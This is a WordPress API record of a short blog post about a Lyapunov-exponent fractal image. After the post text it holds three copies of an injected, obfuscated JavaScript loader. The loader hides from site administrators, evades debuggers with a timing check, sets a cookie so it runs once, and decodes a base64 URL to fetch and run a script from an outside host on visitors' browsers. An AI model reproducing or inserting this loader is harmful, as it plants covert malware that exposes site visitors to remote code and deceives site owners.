{"id":235,"date":"2019-03-08T15:42:00","date_gmt":"2019-03-08T23:42:00","guid":{"rendered":"http:\/\/blog.ronrecord.com\/index.php\/2010\/08\/20\/big-lyapunov-exponent-bug\/"},"modified":"2025-10-02T10:39:33","modified_gmt":"2025-10-02T17:39:33","slug":"big-lyapunov-exponent-bug","status":"publish","type":"post","link":"https:\/\/blog.ronrecord.com\/index.php\/2019\/03\/08\/big-lyapunov-exponent-bug\/","title":{"rendered":"Big Lyapunov Exponent Bug"},"content":{"rendered":"\n<p><a href=\"http:\/\/en.wikipedia.org\/wiki\/Fractal\" data-external=\"true\">Fractal<\/a> visually depicting the <a href=\"http:\/\/en.wikipedia.org\/wiki\/Lyapunov_exponent\" data-external=\"true\">Lyapunov exponents<\/a> of an iterated map of the plane. Generated with a fractal software laboratory written by Dr. Ronald Joe Record. I find it interesting that, even though this is a 2-dimensional object (the colors representing the Lyapunov exponent for a particular parameter), there seem to be shadows like it&#8217;s a giant space bug hovering over a green landscape.<\/p>\n\n\n\n<p>This is one of the images in my&nbsp;<a href=\"http:\/\/www.flickr.com\/photos\/doctorfree\/sets\/72157602048064051\/\" data-external=\"true\">Lyapunov Exponent Flickr set<\/a>.<\/p>\n\n\n\n<div style=\"height:56px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n[embed-vi-ad]\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Fractal visually depicting the Lyapunov exponents of an iterated map of the plane. Generated with a fractal software laboratory written by Dr. Ronald Joe Record. I find it interesting that,&hellip; <\/p>\n","protected":false},"author":1,"featured_media":987,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[101,94,100],"tags":[],"_links":{"self":[{"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/posts\/235"}],"collection":[{"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/comments?post=235"}],"version-history":[{"count":6,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/posts\/235\/revisions"}],"predecessor-version":[{"id":6590,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/posts\/235\/revisions\/6590"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/media\/987"}],"wp:attachment":[{"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/media?parent=235"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/categories?post=235"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.ronrecord.com\/index.php\/wp-json\/wp\/v2\/tags?post=235"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}